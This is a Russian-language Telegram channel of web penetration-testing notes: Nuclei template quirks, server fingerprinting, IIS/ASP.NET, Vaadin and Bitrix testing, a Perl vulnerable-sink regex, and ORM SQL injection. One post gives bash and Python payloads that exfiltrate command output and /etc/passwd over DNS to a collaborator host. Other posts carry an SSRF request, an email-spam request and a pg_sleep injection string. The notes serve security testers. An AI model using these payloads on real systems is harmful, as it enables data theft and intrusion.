Заметки склерозного вебера
443 subscribers
24 photos
1 video
9 files
33 links
Download Telegram
Ох уж этот странный Nuclei...

Многие, я думаю, слышали/знают про Nuclei, и так недавно получилось, что по работе мне нужно было написать пару шаблонов для него. Во время их написания я столкнулся со странными проблемами, которые мне пришлось побороть, эксперементируя с шаблоном. Есть маленький шанс, что вы можете встретиться с такими же приколами, так что ниже вы увидите 3 мои проблемы и решения на них! (больше не влезло в пост=) )

1. В строке запроса RAW-формата нельзя вставить данные после переменной

Допустим вы хотите отправить 2 GET-запроса. Из ответа на первый запрос вы хотите достать значение заголовка Location, и подставить его в строку-запроса 2ого GET-запроса, а после добавить какие-то данные(TEST). Если использовать RAW-формат, то у вас получится что-то типа такого:


requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0

- |
GET {{path}}TEST HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0

redirects: false
extractors:
- type: regex
name: path
part: header
internal: true
group: 1
regex:
- "Location: (.*)"


Однако при анализе запросов вы увидите, что подстроки TEST просто нет после извлечёного маршрута: GET <значение path> HTTP/1.1

Решение: использовать METHOD-формат:


requests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}{{path}}TEST"

redirects: false
extractors:
- type: regex
name: path
part: header
internal: true
group: 1
regex:
- "Location: (.*)"


2. Странная подстановка НЕ ПЕРВЫХ GET-параметров

Вот у вас есть шаблон, который берёт весь переданный URL с GET-параметрами, добавляет ещё параметр в конце и отправляет запрос:


requests:
- method: GET
path:
- "{{BaseURL}}&hello=test"


Но на деле вы получите: /some/path&hello?firstp=value

Решение: добавить знак ? перед`&`


requests:
- method: GET
path:
- "{{BaseURL}}?&hello=test"


3. RAW-формат добавляет изначальный маршрут

Пусть вы хотите отправить такой GET-запрос:


requests:
- raw:
- |
GET /second_path?test=value HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0


И на вход вы подали что-то типа https://127.0.0.1:5000/some/path -> у вас будет https://127.0.0.1:5000/some/path/second_path?test=value.

Решение: использовать METHOD-формат


requests:
- method: GET
path:
- "{{RootURL}}/second_path?test=value"


Это ещё не все проблемы и приколы, может, конечно, я не до конца разобрался с Nuclei, но он определённого странно реагирует на ситуации, когда передаётся урл с маршрутом и параметрами, а также у него нелогичная работа RAW-формата ¯\_(ツ)_/¯
🔥6🤯2
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:


name=val`ping -с 1 $(whoami).collaborator`ue


Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:


Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.


Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:

Получение части от вывода команды

Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене


`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`


Чтение всего файла по частям

Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)


bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'


Данный bash я делал по ранее написанному python-коду:


import os, base64, time

border, domain, delay = 40, ".collaborator", 3

with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]

for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)


Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9

P.S. Если base64 не катит, то просто поменяйте на hex
🔥164😁2💅1
А на чём ты стоишь, дружище?

Нужно мне тут было понять какой веб-сервер используется для исследуемого веб-приложения, а в заголовках ответа было примерно ничего полезного, да и характерных ошибок тоже не было. Посидел, поискал инфу в этом вашем гугле, и выработал следующие способы:

1) Посмотреть в заголовки ответа, может там есть баннер
2) Посканить веб-порты nmap'ом с ключом -sV
3) Посканить хост с помощью Nuclei
4) Отправить некорректный HTTP-запрос(`GET / Arroiz X/1.1`)
5) Можно отправить HEAD-запрос с HTTP/1.0:(HEAD / HTTP/1.0)
6) Посмотреть на порядок заголовков ответа(Если сверху-вниз Server->Date->Content Type, то может быть nginx, подробнее по первой ссылке в источниках)
7) Можно также по ЯП/фреймворку веб-приложения понять, какой веб-сервер скорее всего используется(Для ASP.NET скорее всего IIS)
8) Глянуть на страницы от 404, 403 и тд. Зачастую определённые веб-сервера имеют характерные страницы для этих ошибок.
9) Посмотреть на соседние хосты, если они используют тот же Apache, то и исследуемое приложение скорее всего тоже


Полезные источники

- https://github.com/OWASP/www-project-web-security-testing-guide/blob/master/stable/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server.md

- https://github.com/OWASP/OWASP-Testing-Guide/blob/master/4-Web-Application-Security-Testing/4.2.2%20Fingerprint%20Web%20Server%20(OTG-INFO-002)
81
Особенности тестирования ASP.NET приложений на IIS'е

28.03 состоялась открытая лекция WHM (White Hackers MTUCI), где я выступил с докладом о тестировании ASP.NET-приложений на IIS. К посту прилагаю презентацию и запись выступления.

О чём доклад:
Я разбираю распространённые уязвимости, характерные для ASP.NET-приложений, работающих на IIS, а также показываю:
1) Причины их возникновения
2) Их эксплуатацию (не без проблем, так как это продукты Microsoft :3)
3) Способы устранения этих проблем

Немного про запись:
1) Доклад был под пиво, поэтому есть нецензурная брань)
2) Так неприятно получилось, что я заболел на момент выступления, так что голос может быть плохо слышно порой
3) Видео снято на телефон и сжато для загрузки в Telegram, так что качество изображения не идеальное
Недавно попался забавный вебчик, в котором можно было вставить ссылку в заметки внутреннего календаря, и Headless Chrome посетит эту ссылку. А раз это полноценный браузер, а не обычный curl, то помимо возможности отправлять запросы по произвольным адресам, можно исполнить какой-нибудь JS-код и получить импакт поинтереснее:

1) DoS
2) Сканирование сети и портов
3) localStorage Leak
4) Взаимодействие с облаком, где запущен браузер
5) Поиск и получение Chrome Headless debug порта
6) и тд

Для DoS'а можно использовать скрипт с этого репозитория:
https://github.com/darkotodoric/javascript-based-ddos/blob/main/evil.js

Всё остальное можно найти в этом скрипте, открытие которого стало для меня приятным сюрпризом:
https://github.com/rafax00/js-ssrf/blob/main/htmls/js-exploits.html

Также для сканирования локальных ip-адресов на наличие порта 443 можете использовать мой прикреплённый скрипт, но сначала обязательно просто почитайте его, а то вдруг не очень подойдёт :D
🔥10
А вы когда-нибудь смотрели веб-приложение на perl?

Я - да! Именно поэтому знаю, что хрен вы найдёте нормальный пост/сайт/статью/инструмент, который бы сразу описал вам все опасные методы в perl'е, разбив их при этом на конкретные типы уязвимостей. Из-за этого WhiteBox-анализ приостанавливается на пару часов, пока вы не соберёте этот список самостоятельно, бегая по stackoverflow и другим ресурсам. И при этом никто вам не гарантирует, что вы точно всё собрали=)

Мне такое положение дел не понравилось, поэтому я решил собрать всё добро в одну регулярку:


^(?![ \t]*#).*(prepare\(|prepare |selectall_arrayref\(|selectall_arrayref |selectrow_array\(|selectrow_array |execute\(|execute |sprintf\(|sprintf |open\(|open |close\(|close |read\(|read |sysread\(|sysread |write\(|write |syswrite\(|syswrite |print\(|print |unlink\(|unlink |rename\(|rename |copy\(|copy |move\(|move |chmod\(|chmod |chown\(|chown |mkdir\(|mkdir |rmdir\(|rmdir |opendir\(|opendir |readdir\(|readdir |closedir\(|closedir |stat\(|stat |lstat\(|lstat |utime\(|utime |truncate\(|truncate |binmode\(|binmode |seek\(|seek |tell\(|tell |mkpath\(|mkpath |make_path\(|make_path |remove_tree\(|remove_tree |rmtree\(|rmtree |system\(|system |exec\(|exec |`.*`|qx\/|eval\(|eval |require |require\(|do\(|do |kill\(|kill |fork\(|fork |LWP::UserAgent|HTTP::Tiny|IO::Socket::INET|Net::HTTP|Net::HTTPS|AnyEvent::HTTP|WWW::Mechanize|XML::Parser|XML::LibXML|XML::Simple::XMLin|XML::Twig|XML::SAX::ParserFactory|MongoDB::Collection->find|MongoDB::Collection->find_one|MongoDB::Collection->insert_one|MongoDB::Collection->update_one|MongoDB::Collection->remove|MongoDB::Database->run_command|MongoDB::|Storable::thaw|Storable::retrieve|FreezeThaw::thaw|Data::Dumper::eval|Data::Serializer::deserialize|Sereal::Decoder->decode|deserialize\(|deserialize |serialize\(|serialize |evalq\(|evalq |Template->process|Text::Template->fill_in|Text::MicroTemplate->render|HTML::Template->param|Archive::Zip|Archive::Tar|IO::Uncompress::Unzip)


При этом нужно понимать, что она не найдёт за вас багу, она просто подсветит интересные места, на которые стоит уделить внимание;)

Регулярка состоит из следующих регулярок:

Sql injection
prepare\(|prepare |selectall_arrayref\(|selectall_arrayref |selectrow_array\(|selectrow_array |execute\(|execute |sprintf\(|sprintf |do\(|do

Взаимодействие с файлами/директориями
open\(|open |close\(|close |read\(|read |sysread\(|sysread |write\(|write |syswrite\(|syswrite |print\(|print |unlink\(|unlink |rename\(|rename |copy\(|copy |move\(|move |chmod\(|chmod |chown\(|chown |mkdir\(|mkdir |rmdir\(|rmdir |opendir\(|opendir |readdir\(|readdir |closedir\(|closedir |stat\(|stat |lstat\(|lstat |utime\(|utime |truncate\(|truncate |binmode\(|binmode |seek\(|seek |tell\(|tell |mkpath\(|mkpath |make_path\(|make_path |remove_tree\(|remove_tree |rmtree\(|rmtree

RCE
open\(|open |system\(|system |exec\(|exec |`.*`|qx\/|eval\(|eval |require |require\(|do\(|do |kill\(|kill |fork\(|fork

SSRF
LWP::UserAgent|HTTP::Tiny|IO::Socket::INET|Net::HTTP|Net::HTTPS|AnyEvent::HTTP|WWW::Mechanize

XXE
XML::Parser|XML::LibXML|XML::Simple::XMLin|XML::Twig|XML::SAX::ParserFactory

NoSQL
MongoDB::Collection->find|MongoDB::Collection->find_one|MongoDB::Collection->insert_one|MongoDB::Collection->update_one|MongoDB::Collection->remove|MongoDB::Database->run_command|MongoDB::

Insecure deserialization
Storable::thaw|Storable::retrieve|FreezeThaw::thaw|Data::Dumper::eval|Data::Serializer::deserialize|Sereal::Decoder->decode|deserialize\(|deserialize |serialize\(|serialize

SSTI
evalq\(|evalq |Template->process|Text::Template->fill_in|Text::MicroTemplate->render|HTML::Template->param

Zip vulns
Archive::Zip|Archive::Tar|IO::Uncompress::Unzip
🔥14💅31
Мне бы хотелось, чтобы этот пост был полезным для всех, кто будет анализировать perl-приложения, поэтому если у вас есть какие-то комментарии/дополнения, то пишите мне в личку(@ArroizX), обсудим, и упомяну в посте:D
P.S. Да, я знаю что регулярку можно написать чуть меньше и проще, а не дублировать методы 2 раза из-за особенности perl'а, где можно аргументы передать как в скобках, так и через пробел, но мне впадлу это сидеть и редачить.
WordPress CheatSheet.md
8.8 KB
Встретил на проекте WordPress, который уже забыл как тестить. Пришлось заново собирать все заметки по нему с разных концов интернета=)
Поэтому чтобы больше таким не заниматься, решил сделать удобный CheatSheet со всем необходимым.

P.S. Да, пока такой мини полезный говнопостик, в августе закину вам афигенную штучку, которая будет полезна для white box тестирования;)
🔥131
И на моей улице настал праздник

Ну чтож, наконец-то спустя кучу репортов(на которые тоже жду еще ответы) прилетел первый advisory, из которого я получил свою первую CVEшку - CVE-2025-32430.
В пятницу будет за что выпить:D

А для интересующихся вот ссылка:
https://github.com/advisories/GHSA-m9x4-w7p9-mxhx
🔥25🎉5💔2👏1💅1
Я сделал это, чтобы вы этим не занимались

Как и обещал, скидываю вам прикольную штуку для WhiteBox;)

Вот ссылка на мой репозиторий, в котором собраны регулярки под самые популярные ЯП:

https://github.com/1arroiz/Regular-expressions-for-WhiteBox-testing

Если есть какие-то предложения по доработке/дополнению - пишите в личку, обсудим=)
🔥12👍21
Вы думаете только на BugBounty кидают?

WARNING:

Данный пост написан чисто для выпуска пара, поэтому если вы пришли за полезными материалами, то подождите пару дней, скоро выложу интересный пост про мой опыт тестирования Legacy ужаса, а этот можете тогда скипнуть=)


И так, я думаю, что многие слышали про ситуации, когда на ББ выплатили сильно меньше/ничего за багу, хотя по хорошему должны были нормально заплатить. После чего у бедного багхантера горит пукан на золотом стуле, купленном после выплат на бб, и он ноет о несправедливости жизни.
У ресёрчеров та же история, только при этом денег почти всегда нет за находку*. Если ты хочешь потыкать какой-нибудь open-source или библиотеку, чтобы налутать себе CVEшек для резюме, то будь готов к таким ситуациям:
1) Вендор просто не поймёт о чём ты, в чём влияние твоей баги, потому что для него баг - это когда съехала кнопочка в UI. Поэтому он может просто отклонить твою находку. Из-за этого приходится долго и муторно разъяснять ему смысл той же SSRF или XSS(Я благо таким не занимался, а вот мой коллега настрадался).
2) Вендор тихо исправит багу без CVE, и не упомянит тебя(Тоже был такой кейс у коллег).
3) Вендор тихо исправит багу и не упомянит тебя, но будет CVE на неё. Не упомянуть он может как втихую, так и по причине того, что он поставил определённые условия, которые не очень хочется делать.
4) Вендор просто ушёл в игнор и не читает твой отчёт. Либо он ответил, что прочитает и забил болт.

Я пока столкнулся с 3 и 4 пунктом, и если про кейсы с 4 пунктом пока не могу говорить, может ещё всё разрулится, то вот о 3 хочется рассказать.

Почти год назад я смотрел DotNetNuke, в котором нашёл пару XSSок(на тот момент это был мой первый ресёрч, поэтому я был крайне рад даже таким находкам). Мои коллеги тоже нашли кучу баг, и мы им заслали довольно жирный отчёт. Но по определённым причинам DNN просто отказался на нас ссылаться, поставив неудобные условия, вместо того чтобы просто указать имя и фамилию исследователя в соответствующем коммите.
И вот сегодня вечером я наткнулся на пачку CVEшек 2025 по DNN, среди которых +- удалось распознать мою Stored XSS в модуле prompt, а также опознать уязы моих коллег(опознать удалось по описанию, которое я сравнивал с нашим отчётом + все они относятся к одной и той же версии продукта).

Предположительно моя Stored XSS:
https://dbugs.ptsecurity.com/vulnerability/PT-2025-39191?search=DotNetNuke

Естественно, это один из неприятных примеров вендоров, на чьи продукты теперь не хочется тратить время. Причём ладно бы такое произошло с продуктом у которого вообще никогда CVE не было, но тут довольно известный open-source, чьи уязвимости, как я помню, воспроизводятся в том же OSWE. И это мы не говорим про какие-нибудь библиотеки, которые разрабатывает один бедняга, не секущий за ваши уязвимости, и которому лень прочитать отчёт и поправить багу.
Конечно, можно заняться исследованием очень известного продута/языка/библиотеки, в котором всё 100% пройдёт отлично, как тот же XWiki, keycloak, jira и тд. Иногда вы даже можете получить за эту выплату, если найдёте багу в том же Chrome(про это и была звёздочка вначале).

Однако есть причины и не заниматься этим:
1) Самое простое - это банально сложно, так как до вас его перековыряли уже кучу человек, поэтому найти там хоть что-то это геморой страшный. Да и не самый лучший вариант, если это первое исследование или вам хочется нафармить CVEшек для резюме как можно быстрее.
2) Иногда какой-то задрипанный продукт может вам быть намного интереснее, чем знаменитый Bitrix, банально потому что написан на вашем любимом языке. Да и всегда приятно быть первооткрывателем для вендора, на чей продукт никогда не было CVEшек.

Это всё не значит, что не стоит заниматься исследованиями вообще, я наоборот желаю каждому попробовать, так как это интересный опыт, как и ББ(бывают моменты как и дикой радости, так и дикого горения очка). Но просто стоит быть готовым к тому, что вместо СВОЕЙ CVE ты получишь либо ничего, либо CVE, которую нельзя назвать своей, потому что хрен ты докажешь, что именно ты её зарепортил=)
😭12🤝1041
Увидел Java legacy со странным фреймворком - проиграл

Встретилось тут на проекте Java веб-приложение старенькое, которое меня неприятно удивило: во всех HTTP-запросах отправлялись не нормальные параметры в разных формах с нормальным API, а координаты моих кликов, а также UUID-кнопок и форм, и отдельные JSON'ы, содержащие данные, которые я заполнял в формах.

По типу такого короче:


POST /myapp/UIDL/?v-uiId=0 HTTP/1.1
Host: localhost:8080
Content-Type: application/json; charset=UTF-8
Cookie: JSESSIONID=...

[
{
"csrfToken": "9f7c2a31-8c6d-4f2e-bbd8-fb1d0aefcb1e",
"rpc": [
[
5, "click", { "button":1, "clientX":123, "clientY":456 }
]
],
"syncId": 7,
"clientId": 7
}
]



Я уже не первый раз видел такое, но раньше попадались приложения, где подобное взаимодействие реализовано не везде, а на части функционала, а тут всё на таком ужасе. Чуть покапавшись, я понял, что приложение было на Vaadin фреймворке. В нём UI полностью описан и хранится на сервере.

Для Vaadin формат взаимодействия описывается так:
1) Браузер получает минимальный HTML+JS (bootstrap клиент), который соединяется с сервером
2) Любые действия пользователя преобразуются в сообщения (обычно AJAX или WebSocket): координатами/идентификатором события, UUID компонента (кнопка, поле формы, таб и т.д.), значением, которое пользователь ввёл, состоянием/ID сессии, чтобы сервер знал, какой пользователь и какой UI-инстанс
3) Сервер принимает это событие, обновляет своё дерево UI и отправляет обратно diff изменений интерфейса, которые надо отобразить на клиенте

Вообщем своего рода толстые серверные приложения с тонким клиентом.

А теперь интересные моменты, которые я для себя выделил, пока работал с ним:
1) Для определения Vaadin'а достаточно найти маршрут, содержащий /UIDL или /VAADIN/.
2) Искать CSRF'ы в приложении с ним почти бессмысленно, так как есть CSRF-токен, но отдельные механизмы могут быть и без него(привет logout, только если это не бб).
3) Иногда может быть доступен дебаг при добавлении ?debug к маршруту(вряд-ли будет супер полезным, но кто знает).
4) Если вам надо что-то перебрать автоматизированно, как ту же форму логинки, то тогда берите selenium и в путь, так как даже в их документации указан именно он и другие похожие утилиты.
5) Само тестирование приложения скорее всего у вас будет полностью в браузере, с очень редким поглядыванием в Burp: тыкаем все кнопки, заполняем все формы, вставляем везде нагрузки вручную, отдельно вылавливая HTTP-запросы с нормальным форматом, как например, запросы с загрузкой файла.
6) Если приложение использует Vaadin, то оно скорее всего старенькое(особенно если по js-скрипту вы поймёте что это какая-нибудь 7 версия, что вообщем-то привет из 2013. Понять это можно по GET-параметру ?ver, который добавляется к JS/CSS файлу), так что смело ищем критичные серверные баги: RCE, XXE, SQLI, log4shell и пр. Они 100% будут!
7) Также в таких приложениях полно BAC'ов и IDOR'ов, потому отлаживать это - боль для разраба
8) Я хз правда поможет ли, но при обращении к папке /VAADIN/themes можно найти другие файлы и каталоги, связанные с темами, в которые можно провалиться, возможно там вы тоже сможете что-то найти.

В конце очень хочется сказать, что данный пост - это мой опыт BlackBox тестирования веб-приложения с Vaadin, но если вам повезло и у вас WhiteBox, то очень рекомендую данный пост от @rive_n(Канал оказывается стал закрытым, так что можете попросить у автора доступ к Vaadin посту:D )
🔥5
Теперь всё в одном месте

Пока ломал голову над тем, что запостить в этот канал, я вспомнил, что делал различные шпаргалки по тестированию популярных сервисов. И подумал что было бы хорошей идеей всё это залить в один GitHub-репозиторий, чтобы удобно было смотреть, а не листать весь канал в поисках шпаргалки по Jir'e с Clonfluence.

Поэтому был сделан данный репозиторий:
https://github.com/1arroiz/Pentest-CheatSheet-Popular-Services

Помимо этого я обновил шпаргалку по Jir'e с Clonfluence, добавив туда новые и упущенные cveшки.

P.S. Чуть позже если сойдутся все звёзды я залью в этот репозиторий ещё одну хорошую шпаргалку, но это добро уже потенциально в декабре только. Также через пару дней сделаю уже нормальный пост:D

P.P.S Кривую вёрстку поправил, а то гитхабу порой не очень, видимо, очевидно, что перенос строк - это перенос строк, а не пробел=)
🔥15👍1
- А если разработчик использует ORM или Query Builder, то это значит, что скулей нет?
- Почему? Они и с ними могут быть!


Примерно такой вопрос и ответ на него можно часто услышать на собеседованиях по вебчику, однако, потом после оффера и получения работы мало кто на серьёзке будет проверять SQL-запросы через ORM или Query Builder. Зачастую всё заканчивается одной-двумя провальными попытками эксплуатации SQL-инъекции, после чего делается вывод, что "скулей тут нет". Хотя тут стоило просто сесть, развернуть библиотеку у себя с похожими SQL-запросами и потыкать её с дебагом.

А где могут быть проблемы, умник?

1) Может использоваться метод для выполнения сырых SQL-запросов, и в него напрямую могут попадать пользовательский значения:
db.session.execute(f"SELECT * FROM users WHERE age = {data}")

2) Некоторые методы в тех же Query Builder'ах, например Where(), иногда могут принимать различное кол-во аргументов, в зависимости от того, нужно ли параметризировать какие-либо данные:

.Where("id={data}") -> WHERE id=0
.Where("id=?",data) -> WHERE id=$1


Иногда разработчики могут этого не знать/забыть, и напрямую подставлять ваши нагрузки в SQL-запрос. Помимо этого у одних и тех же SQL-операторов может быть 2 метода: для сырого исполнения и параметризированного. Догадайтесь сами, куда ваши нарузки не должны попадать:

.WhereRaw("id={data}") -> WHERE id=0
.Where("id","=",data) -> WHERE id=$1


Грубо говоря, этот пункт про то, что порой варианты защиты есть, но про них забыли.

3) Во многих ORM и Query Builder есть методы, в которые пользовательские данные не должны попадать(Insecure By Design), например Select(). По логике туда должны идти только жёстко прописанные столбцы и ничего больше. Однако разработчики могут и туда засунуть ваши значения, чем вы и воспользуетесь:

data = "hello',(SELECT ''||pg_sleep(5)),'1"
Table("Dialogs").Select(data)# SELECT 'hello',(SELECT ''||pg_sleep(5)),'1' FROM Dialogs


4) Может ваши данные попадут в метод по типу filter() и у вас будет plORMbing(ТЫК и ТЫК)

5) Можете найти CVE! Звучит сложно, но по факту разработчики часто могут забыть защитить какой-то метод, либо делают это криво, поэтому возможно обойти ограничения. Помимо этого разработчики очень любят добавлять поддержку большого кол-ва СУБД(так же круче библиотека выглядит), однако, это может привести к ситуации, когда про какую-то СУБД просто забудут во время внедрения защиты, из-за чего только с этой СУБД будет инъекция в конкретном методе. Пруфов пока не будет, они ждут свои cveшки от вендора =)

6) А может уже кто-то нашёл уязу в вашем ORM или Query Builder, и у вас как раз та самая версия - стоит проверить!

Вывод

Рекомендую не забывать про тестирование ORM и Query Builder'ов, так как вы как минимум убедитесь, что всё покрыли, а как максимум найдёте скулю, может даже с выходом в RCE, а может даже получите CVE;)
7👍5
Баги и фичи ASP.NET и IIS’a 2.0

Скоро новый год и праздники, а это значит, что после загруженных недель будет достаточно времени, чтобы изучить для себя что-то новенькое!
Поэтому в этом посте я решил собрать для вас свои заметки/ссылки по багам и фичам ASP.NET и IIS’a. Да-да, я уже постил запись и презентацию своего доклада по этой же теме 2 апреля, но там я много всего не рассказал из-за временных рамок, так что советую ознакомиться с этой полной версией;)

P.S. Рекомендую читать статьи Soroush Dalili в веб-архиве, а то после обновления дизайна сайта некоторые статьи пошли по одному месту=)

А теперь переходим к материалу:

1) Как понять, что перед тобой IIS/ASP.NET
1.1) HTTP-заголовки:

Server: Microsoft-IIS/X – веб-сервер и его версия
X-Powered-By: ASP.NET – технология на backend’е
X-AspNet-Version: X – версия ASP.NET
Microsoft-HTTPAPI/X – компонент Windows для обработки HTTP-запросов без полноценного IIS

1.2) Ошибки: Ошибка_IIS, ошибка_ASP.NET

2) Что делать с заголовком Microsoft-HTTPAPI/2.0:
Появляется из-за того, что указано невалидное значение в HTTP-заголовке Host. Поэтому стоит подобрать валидное значение(Перебрать поддомен/домен, попробовать внутренние адреса)

3) Раскрытие локального IP-адреса: [1], [2]

4) Раскрытие инфы о хосте через NTLM аутентификацию

5) Cookieless session
5.1) XSS через ResolveUrl
5.2) CVE-2023-36899 и CVE-2023-36560
5.3) Раскрытие исходного кода

6) IIS Tilde Enumeration: [1], [2], [3]

7) File upload vulnerabilities
7.1) web.config: [1], [2]
7.2) XAMLX
7.3) php под IIS
7.4) Точка с запятой и двоеточие: [1], [2], [3]
7.5) Windows 8.3 feature (можно загрузить файл с SNF именем)
7.6) RESX
7.7) Stored XSS через необычные форматы

8) Deserialization вектора
8.1) ViewState: [1], [2]
8.2) .NET Remoting

9) Waf Bypass (x-up-devcap-post-charset)

10) HTTP Request Smuggling 2025

11) 107 Hacking IIS and NET Kevin Miller
🔥61👀1
Решил сделать последний в этом году пост про наш любимый битрикс:

Авторизированная SSRF в Битрикс24 через интеграцию с MS Sharepoint

В Битрикс24 существует возможность интеграции с MS Sharepoint для синхронизации различных списков: клиенты, календарь и пр. Подробнее про это можете прочитать ТУТ.
Нас же интересует здесь то, что мы можем использовать данную функциональность для SSRF-атак, главное - это иметь любую валидную учётку:


GET /bitrix/components/bitrix/sharepoint.link/ajax.php?mode=test&sp_server=https://collaborator&sp_user=&sp_pass=&sessid=... HTTP/1.1
Host: bitrix24
Cookie: ...
Bx-Ajax: true


Возможно данная функциональность может встретиться и в обычном битриксе, но это я оставляю на проверку вам:D

Неавторизированный спам электронными письмами через sender_sub_confirm.php

Можно захламить любой почтовый ящик письмами о подтверждении подписки, причём для этого не нужно иметь УЗ битрикс:


POST /bitrix/tools/sender_sub_confirm.php HTTP/1.1
Host: bitrix
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: x

sessid=...&sender_subscription=add&[email protected]


На ББ вряд-ли примут, но как бага для проекта - самое то.

P.S. @FaLLenSkiLL если ты будешь добавлять это в свой Bitrix Ultimate Pentest Guide, докинь пж SSRF через /bitrix/components/bitrix/main.urlpreview/ajax.php и /bitrix/tools/html_editor_action.php, а то лень каждый раз ползти в PDFку отдельно и копировать запрос=)
10👍4🔥4